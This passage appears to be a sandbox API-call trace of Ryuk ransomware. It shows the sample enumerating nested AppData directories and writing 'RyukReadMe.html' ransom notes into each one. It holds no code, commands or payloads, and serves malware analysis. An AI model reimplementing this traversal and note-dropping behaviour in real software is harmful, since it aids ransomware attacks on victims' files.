	[0278.043] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.043] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 1
	[0278.043] SetLastError (dwErrCode=0x0) 
	[0278.043] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.043] GetLastError () returned 0x3
	[0278.043] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0278.043] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.043] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef910
	[0278.045] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.045] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
	[0278.045] SetLastError (dwErrCode=0x0) 
	[0278.045] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.045] GetLastError () returned 0x3
	[0278.045] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0278.045] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.045] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\Users\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0278.045] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0278.045] SetLastError (dwErrCode=0x0) 
	[0278.046] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\Users\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\c\\users\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.046] GetLastError () returned 0x3
	[0278.046] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0278.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.046] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x216, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0
	[0278.046] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0278.046] SetLastError (dwErrCode=0x0) 
	[0278.046] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\C\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\c\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.046] GetLastError () returned 0x3
	[0278.046] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0278.046] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.046] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f82a50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="C", cAlternateFileName="")) returned 0
	[0278.047] FindClose (in: hFindFile=0x3efc10 | out: hFindFile=0x3efc10) returned 1
	[0278.047] SetLastError (dwErrCode=0x0) 
	[0278.047] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Virtualized\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\virtualized\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0278.047] GetLastError () returned 0x3
	[0278.047] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18d3c8, lpOverlapped=0x0) returned 0
	[0278.047] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0278.047] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x50f82a50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f82a50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Virtualized", cAlternateFileName="VIRTUA~1")) returned 0
	[0278.047] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.047] SetLastError (dwErrCode=0x0) 
	[0278.047] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.048] GetLastError () returned 0xb7
	[0278.048] CloseHandle (hObject=0x7a8) returned 1
	[0278.048] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 1
	[0278.048] SetLastError (dwErrCode=0x0) 
	[0278.048] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.048] GetLastError () returned 0xb7
	[0278.048] CloseHandle (hObject=0x7a8) returned 1
	[0278.049] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b1a3aa0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1a3aa0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.049] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x7b1a3aa0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1a3aa0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.049] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b1a3aa0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b1a3aa0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1a3aa0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0278.049] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7b1a3aa0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x7b1a3aa0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1a3aa0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0278.049] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0278.050] SetLastError (dwErrCode=0x0) 
	[0278.050] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\VirtualStore\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\virtualstore\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.050] GetLastError () returned 0xb7
	[0278.050] CloseHandle (hObject=0x7a8) returned 1
	[0278.050] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2ab32d60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2ab32d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2ab32d60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VirtualStore", cAlternateFileName="VIRTUA~1")) returned 0
	[0278.050] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0278.050] SetLastError (dwErrCode=0x0) 
	[0278.051] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0278.051] GetLastError () returned 0xb7
	[0278.051] CloseHandle (hObject=0x4d4) returned 1
	[0278.051] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Apps", cAlternateFileName="")) returned 1
	[0278.051] SetLastError (dwErrCode=0x0) 
	[0278.051] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0278.051] GetLastError () returned 0xb7
	[0278.051] CloseHandle (hObject=0x4d4) returned 1
	[0278.052] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0278.052] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.052] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="2.0", cAlternateFileName="")) returned 1
	[0278.052] SetLastError (dwErrCode=0x0) 
	[0278.052] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a8
	[0278.052] GetLastError () returned 0xb7
	[0278.053] CloseHandle (hObject=0x7a8) returned 1
	[0278.053] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\*.*", lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef9d0
	[0278.053] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x774a46e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x774a46e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.053] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1b2, dwReserved1=0x0, cFileName="Data", cAlternateFileName="")) returned 1
	[0278.053] SetLastError (dwErrCode=0x0) 
	[0278.053] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x874
	[0278.053] GetLastError () returned 0xb7
	[0278.054] CloseHandle (hObject=0x874) returned 1
	[0278.054] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efc10
	[0278.054] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0278.054] FindNextFileW (in: hFindFile=0x3efc10, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7b1c9c00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x7b1c9c00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ba, dwReserved1=0x0, cFileName="CJW3O3KP.BX7", cAlternateFileName="")) returned 1
	[0278.054] SetLastError (dwErrCode=0x0) 
	[0278.054] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\apps\\2.0\\data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f0
	[0278.054] GetLastError () returned 0xb7
	[0278.055] CloseHandle (hObject=0x7f0) returned 1
